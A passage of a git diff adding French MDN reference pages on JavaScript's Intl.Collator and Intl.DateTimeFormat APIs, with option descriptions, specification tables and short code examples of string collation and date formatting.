+  <dd>Les variantes dans les méthodes de regroupement (« collation ») des chaînes de caractères. Les valeurs autorisées pour cette clé sont : <code>"big5han", "dict", "direct", "ducet", "gb2312", "phonebk", "phonetic", "pinyin", "reformed", "searchjl", "stroke", "trad", "unihan"</code>. Les valeurs <code>"standard"</code> et <code>"search"</code> sont ignorées. Elles sont remplacées par la propriété <code>usage</code> de l'argument <code>options</code> (voir ci-après).</dd>
+  <dt><code>kn</code></dt>
+  <dd>Indique si on ordonne les nombres (par exemple : "1" &lt; "2" &lt; "10"). Les valeurs possibles sont <code>"true"</code> et <code>"false"</code>. Cette option est également disponible via une propriété de l'objet <code>options</code>. Si l'extension Unicode et la propriété de l'objet <code>options</code> sont définies, ce sera cette dernière qui sera prise en compte.</dd>
+  <dt><code>kf</code></dt>
+  <dd>Indique si on ordonne les majuscules avant les minuscules ou l'inverse. Les valeurs possibles sont <code>"upper"</code>, <code>"lower"</code>, ou <code>"false"</code> (on utilise alors l'ordre par défaut de la locale). Cette option est également disponible via une propriété de l'objet <code>options</code>. Si l'extension Unicode et la propriété de l'objet <code>options</code> sont définies, ce sera cette dernière qui sera prise en compte.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>
+ <p>Un objet qui disposent des propriétés suivantes :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance à utiliser pour les locales. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code>. La valeur par défaut est "best fit". Voir la {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}} pour plus d'informations à ce sujet.</dd>
+  <dt><code>usage</code></dt>
+  <dd>Indique l'usage de le comparaison : le tri ou la recherche de chaînes correspondantes. Les valeurs possibles sont "sort" pour le tri et "search" pour la recherche. La valeur par défaut est "sort".</dd>
+  <dt><code>sensitivity</code></dt>
+  <dd>Indique les différences entre les chaînes de caractères qui font qu'une chaîne est considérée différente d'une autre. Les valeurs possibles sont :
+  <ul>
+   <li><code>"base"</code> : Seules les chaînes dont les lettres de base sont différentes sont considérées inégales. Par exemple : a ≠ b, a = á, a = A.</li>
+   <li><code>"accent"</code> : Seules les chaînes de caractères dont les lettres de bases ou les accents ou les autres marques diacritiques diffèrent sont considérées inégales. Par exemple : a ≠ b, a ≠ á, a = A.</li>
+   <li><code>"case"</code> : Seules les chaines dont les lettres de base ou la casse sont diffèrent sont considérées comme inégales. Par exemple : a ≠ b, a = á, a ≠ A.</li>
+   <li><code>"variant"</code> : Les chaînes qui diffèrent par leurs caractères de base, leurs accents et autres marques diacritiques, la casse sont considérées comme inégales. D'autres différences peuvent également être prises en compte. Par exemple : a ≠ b, a ≠ á, a ≠ A.</li>
+  </ul>
+
+  <p>La valeur par défaut est <code>"variant"</code> si on utilise la comparaison pour du tri (usage=<code>"sort"</code>). Pour l'utilisation <code>"search"</code> (recherche), la valeur par défaut dépend de la locale.</p>
+  </dd>
+  <dt><code>ignorePunctuation</code></dt>
+  <dd>Indique si la ponctuation doit être ignorée. Les valeurs possibles sont <code>true</code> et <code>false</code>. La valeur par défaut est <code>false</code>.</dd>
+  <dt><code>numeric</code></dt>
+  <dd>Indique si on ordonne les nombres (par exemple : "1" &lt; "2" &lt; "10"). Les valeurs possibles sont <code>true</code> et <code>false</code>. La valeur par défaut est <code>false</code>. Si l'extension Unicode correspondante et la propriété de l'objet <code>options</code> sont définies, ce sera cette dernière qui sera prise en compte.</dd>
+  <dt><code>caseFirst</code></dt>
+  <dd>Indique si on ordonne les majuscules avant les minuscules ou l'inverse. Les valeurs possibles sont <code>"upper"</code>, <code>"lower"</code>, ou <code>"false"</code> (on utilise alors l'ordre par défaut de la locale), la valeur par défaut est <code>"false"</code>. Si l'extension Unicode correspondante et la propriété de l'objet <code>options</code> sont définies, ce sera cette dernière qui sera prise en compte.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet <code>Intl.Collator</code> possède les propriétés et méthodes suivantes :</p>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt>{{jsxref("Collator.prototype", "Intl.Collator.prototype")}}</dt>
+ <dd>Permet d'ajouter des propriétés à toutes les instances.</dd>
+</dl>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("Collator.supportedLocalesOf", "Intl.Collator.supportedLocalesOf()")}}</dt>
+ <dd>Renvoie un tableau qui contient les locales supportées pour lesquelles il n'est pas nécessaire de revenir à la locale par défaut de l'environnement.</dd>
+</dl>
+
+<h2 id="Instances_de_Collator">Instances de <code>Collator</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>Les instances de <code>Collator</code> héritent des propriétés suivantes grâce à leur prototype :</p>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Collator/prototype','Propriétés')}}</div>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<div>
+<p>Les instances de <code>Collator</code> héritent des méthodes suivantes grâce à leur prototype :</p>
+{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Collator/prototype','Méthodes')}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Collator">Utiliser <code>Collator</code></h3>
+
+<p>L'exemple qui suit illustre les différents résultats qu'on peut obtenir :</p>
+
+<pre class="brush: js">console.log(new Intl.Collator().compare('a', 'c')); // → une valeur négative
+console.log(new Intl.Collator().compare('c', 'a')); // → une valeur positive
+console.log(new Intl.Collator().compare('a', 'a')); // → 0
+</pre>
+
+<p>Les résultats indiqués sont génériques et en pratique peuvent varier entre les navigateurs et les versions des navigateurs. En effet les valeurs obtenues dépendent de l'implémentation. Les spécifications indiquent uniquement le signe (positif ou négatif) du résultat.</p>
+
+<h3 id="Utiliser_locales">Utiliser <code>locales</code></h3>
+
+<p>Les résultats fournis par {{jsxref("Collator.prototype.compare()")}} varient selon les locales. Afin d'obtenir le bon ordre lexicographique dans votre application, il est nécessaire de spécifier la locale de l'utilisateur (et éventuellement des locales pour des cas de replis) en utilisant l'argument <code>locales</code> :</p>
+
+<pre class="brush: js">// en allemand, 'ä' est équivalent à 'a' pour le tri
+console.log(new Intl.Collator("de").compare("ä", "z"));
+// → une valeur négative
+
+// en suédois, 'ä' arrive après 'z'
+console.log(new Intl.Collator("sv").compare("ä", "z"));
+// → une valeur positive
+</pre>
+
+<h3 id="Utiliser_options">Utiliser <code>options</code></h3>
+
+<p>Les résultats fournis par {{jsxref("Collator.prototype.compare()")}} peuvent être adaptés grâce à l'argument <code>options</code> :</p>
+
+<pre class="brush: js">// en allemand, 'ä' est composé de la lettre de base 'a'
+console.log(new Intl.Collator("de", {sensitivity: "base"}).compare("ä", "a"));
+// → 0
+
+// en suédois, 'ä' et 'a' sont distincts en termes de base
+console.log(new Intl.Collator("sv", {sensitivity: "base"}).compare("ä", "a"));
+// → une valeur positive
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.1', 'Intl.Collator')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-10.1', 'Intl.Collator')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#collator-objects', 'Intl.Collator')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Collator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl','Voir_aussi')}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/prototype/index.html
new file mode 100644
index 0000000000..2569da13c3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/collator/prototype/index.html
@@ -0,0 +1,80 @@
+---
+title: Intl.Collator.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/prototype
+tags:
+  - Collator
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Intl.Collator.prototype</strong></code> représente l'objet prototype du constructeur {{jsxref("Collator", "Intl.Collator")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Voir la page {{jsxref("Collator")}} pour une description appliquée aux instances de <code>Intl.Collator</code>.</p>
+
+<p>Les instances de <code>Intl.Collator</code> héritent de <code>Intl.Collator.prototype</code>. Les modifications apportées à l'objet prototype sont propagées sur toutes les instances de <code>Intl.Collator</code> via l'héritage (chaîne de prototypes).</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Intl.Collator.protoype.constructor</code></dt>
+ <dd>Une référence vers {{jsxref("Collator")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Collator.compare", "Intl.Collator.prototype.compare")}}</dt>
+ <dd>Un accesseur qui renvoie une fonction comparant deux chaînes de caractères, basée sur l'ordre de tri de l'objet {{jsxref("Objets_globaux/Collator", "Intl.Collator")}}.</dd>
+ <dt>{{jsxref("Collator.resolvedOptions", "Intl.Collator.prototype.resolvedOptions()")}}</dt>
+ <dd>Renvoie un nouvel objet dont les propriétés correspondent aux options de collation et de locales calculées lors de l'initialisation de l'objet.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.2.1', 'Intl.Collator.prototype')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-10.2.1', 'Intl.Collator.prototype')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype', 'Intl.Collator.prototype')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Collator.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/resolvedoptions/index.html
new file mode 100644
index 0000000000..d7cd3ad5e0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/collator/resolvedoptions/index.html
@@ -0,0 +1,98 @@
+---
+title: Intl.Collator.prototype.resolvedOptions()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/resolvedOptions
+tags:
+  - Collator
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/resolvedOptions
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Intl.Collator.prototype.resolvedOptions()</strong></code> renvoie un nouvel objet dont les propriétés reflètent les options de locale et de collation calculées à l'initialisation de l'objet {{jsxref("Collator")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-collator-prototype-resolvedoptions.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">collator.resolvedOptions()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet dont les propriétés reflètent les options de locale et de collations calculées lors de l'initialisation de l'objet {{jsxref("Collator")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet renvoyé par cette méthode contient les propriétés suivantes :</p>
+
+<dl>
+ <dt><code>locale</code></dt>
+ <dd>La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans <code>locale</code>.</dd>
+ <dt><code>usage</code></dt>
+ <dt><code>sensitivity</code></dt>
+ <dt><code>ignorePunctuation</code></dt>
+ <dd>Les valeurs demandées pour ces propriétés via l'argument <code>options</code> ou celles utilisées par défaut.</dd>
+ <dt><code>collation</code></dt>
+ <dd>La valeur demandée pour l'extension Unicode <code>"co"</code> si elle est supportée par la locale utilisée, sinon <code>"default"</code>.</dd>
+ <dt><code>numeric</code></dt>
+ <dt><code>caseFirst</code></dt>
+ <dd>Les valeurs demandées pour ces propriétés via l'argument <code>options</code> ou l'utilisation des extensions Unicode <code>"kn"</code> et <code>"kf"</code> ou les valeurs par défaut. Si l'implémentation utilisée ne supporte pas ces propriétés, elles sont omises.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var de = new Intl.Collator('de', { sensitivity: 'base' })
+var usedOptions = de.resolvedOptions();
+
+usedOptions.locale;            // "de"
+usedOptions.usage;             // "sort"
+usedOptions.sensitivity;        // "base"
+usedOptions.ignorePunctuation; // false
+usedOptions.collation;         // "default"
+usedOptions.numeric;           // false</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.3.3', 'Intl.Collator.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-10.3.3', 'Intl.Collator.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype.resolvedOptions', 'Intl.Collator.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Collator.resolvedOptions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/supportedlocalesof/index.html
new file mode 100644
index 0000000000..6b5bdb5414
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/collator/supportedlocalesof/index.html
@@ -0,0 +1,98 @@
+---
+title: Intl.Collator.supportedLocalesOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/supportedLocalesOf
+tags:
+  - Collator
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/supportedLocalesOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Intl.Collator.supportedLocalesOf()</strong></code> renvoie, parmi les locales fournies, un tableau contenant les locales supportées et qui ne nécessitent pas d'utiliser la locale par défaut de l'environnement.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-collator-prototype-supportedlocalesof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Intl.Collator.supportedLocalesOf(locales [, options])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Une chaîne de caractères qui est une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations concernant la forme générale de l'argument <code>locales</code>, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.</dd>
+ <dt><code>options</code>{{optional_inline}}</dt>
+ <dd>
+ <p>Paramètre facultatif. Un objet qui peut posséder les propriétés suivantes :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>
+  <p>L'algorithme utilisé pour la correspondance entre chaînes de caractères. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code>. La valeur par défaut est <code>"best fit"</code>. Pour plus d'informations, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}.</p>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langues qui sont prises en charge pour la collation sans qu'il faille utiliser la locale par défaut de l'environnement d'exécution.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode renvoie un tableau qui est un sous-ensemble des balises de locales fournies avec l'argument <code>locales</code>. Les balises renvoyées sont celles supportées par l'environnement navigateur en termes de collation (comparaison) et qui ne nécessitent pas d'utiliser la locale par défaut.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Si on dispose d'un environnement (un navigateur par exemple) qui supporte la comparaison de chaînes dans les locales indonésienne, allemande mais pas balinaise,  <code>supportedLocalesOf</code> renvoie les balises pour l'indonésien et l'allemand quand bien même la collation avec pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme <code>"lookup"</code>. SI on utilisait <code>"best fit"</code> pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien.</p>
+
+<pre class="brush: js">var locales = ["ban", "id-u-co-pinyin", "de-ID"];
+var options = {localeMatcher: "lookup"};
+console.log(Intl.Collator.supportedLocalesOf(locales, options).join(", "));
+// → "id-u-co-pinyin, de-ID"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.Collator.supportedLocalesOf', 'Intl.Collator.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Collator.supportedLocalesOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/format/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/format/index.html
new file mode 100644
index 0000000000..06acb8065b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/format/index.html
@@ -0,0 +1,126 @@
+---
+title: Intl.DateTimeFormat.prototype.format
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/format
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/format
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.DateTimeFormat.prototype.format()</code></strong> est un accesseur formate une date selon les options de locale et de format de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-format.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateTimeFormat</var>.format(<var>date</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>date</code></dt>
+ <dd>La date à formater.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>format</code> permet de formater une date en une chaîne de caractères en fonction des options de locale et de format définies pour l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_format">Utiliser <code>format</code></h3>
+
+<p>On peut utiliser la fonction renvoyée par l'accesseur <code>format</code> pour formater une date. Par exemple selon la locale serbe :</p>
+
+<pre class="brush: js">var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
+var dateTimeFormat = new Intl.DateTimeFormat("sr-RS", options);
+console.log(dateTimeFormat.format(new Date()));
+// → "недеља, 7. април 2013."</pre>
+
+<h3 id="Utiliser_format_avec_map">Utiliser <code>format</code> avec <code>map()</code></h3>
+
+<p>On peut également utiliser la fonction renvoyée par l'accesseur <code>format</code> pour formater toutes les dates d'un tableau. On observe que la fonction est liée à l'objet <code>DateTimeFormat</code> dont elle provient, on peut donc la passer directement à {{jsxref("Array.prototype.map()")}}.</p>
+
+<pre class="brush: js">var a = [new Date(2012, 08), new Date(2012, 11), new Date(2012, 03)];
+var options = {year: "numeric", month: "long"};
+var dateTimeFormat = new Intl.DateTimeFormat("pt-BR", options);
+var formatted = a.map(dateTimeFormat.format);
+console.log(formatted.join("; "));
+// → "setembro de 2012; dezembro de 2012; abril de 2012"</pre>
+
+<h3 id="Comparaison_des_dates_formatées_et_des_valeurs_statiques">Comparaison des dates formatées et des valeurs statiques</h3>
+
+<p>La plupart du temps, le format renvoyé par <code>format()</code> est cohérent. Toutefois, cela peut évoluer à l'avenir et n'est pas garanti pour l'ensemble des langues (de telles variations sont souhaitables et permises par la spécification). Ainsi, IE et Edge ajoutent des caractères de contrôle bidirectionnels autour des dates afin que le texte produit ait une directionalité cohérente avec le texte avec lequel elles seront concaténées.</p>
+
+<p>Aussi, mieux vaut ne pas comparer un résultat fourni par <code>format()</code> avec une valeur statique :</p>
+
+<pre class="brush: js; example-bad">let d = new Date("2019-01-01T00:00:00.000000Z");
+let formattedDate = Intl.DateTimeFormat(undefined, {
+  year: 'numeric',
+  month: 'numeric',
+  day: 'numeric',
+  hour: 'numeric',
+  minute: 'numeric',
+  second: 'numeric'
+}).format(d);
+
+"1.1.2019, 01:00:00" === formattedDate;
+// true pour Firefox et les autres
+// false pour IE et Edge
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir aussi ce fil <a href="https://stackoverflow.com/questions/25574963/ies-tolocalestring-has-strange-characters-in-results">StackOverflow</a> pour plus de détails et d'exemples.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.format', 'Intl.DateTimeFormat.format')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat.format")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrange/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrange/index.html
new file mode 100644
index 0000000000..1fbca49cc2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrange/index.html
@@ -0,0 +1,82 @@
+---
+title: Intl.DateTimeFormat.prototype.formatRange()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/formatRange
+tags:
+  - Internationalisation
+  - Intl
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatRange
+---
+<p>{{JSRef}}</p>
+
+<p>La méthode <strong><code>Intl.DateTimeFormat.prototype.formatRange()</code></strong> permet de formater un intervalle de dates de la façon la plus concise en fonction de la <strong><code>locale</code></strong> et des <code><strong>options</strong></code> fournies lors de l'initialisation de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-formatrange.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre><code>Intl.DateTimeFormat.prototype.formatRange(<var>dateDébut, dateFin</var>)</code></pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_simple_de_formatRange">Utilisation simple de <code>formatRange()</code></h3>
+
+<p>Cette méthode reçoit comme arguments deux objets {{jsxref("Date")}} et renvoie l'intervalle de la façon la plus concise possible (selon les options fournies lors de l'instanciation du formateur <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat">Intl.DateTimeFormat</a></code>).</p>
+
+<pre class="brush: js">let date1 = new Date(Date.UTC(2007, 0, 10, 10, 0, 0));
+let date2 = new Date(Date.UTC(2007, 0, 10, 11, 0, 0));
+let date3 = new Date(Date.UTC(2007, 0, 20, 10, 0, 0));
+// &gt; 'Wed, 10 Jan 2007 10:00:00 GMT'
+// &gt; 'Wed, 10 Jan 2007 11:00:00 GMT'
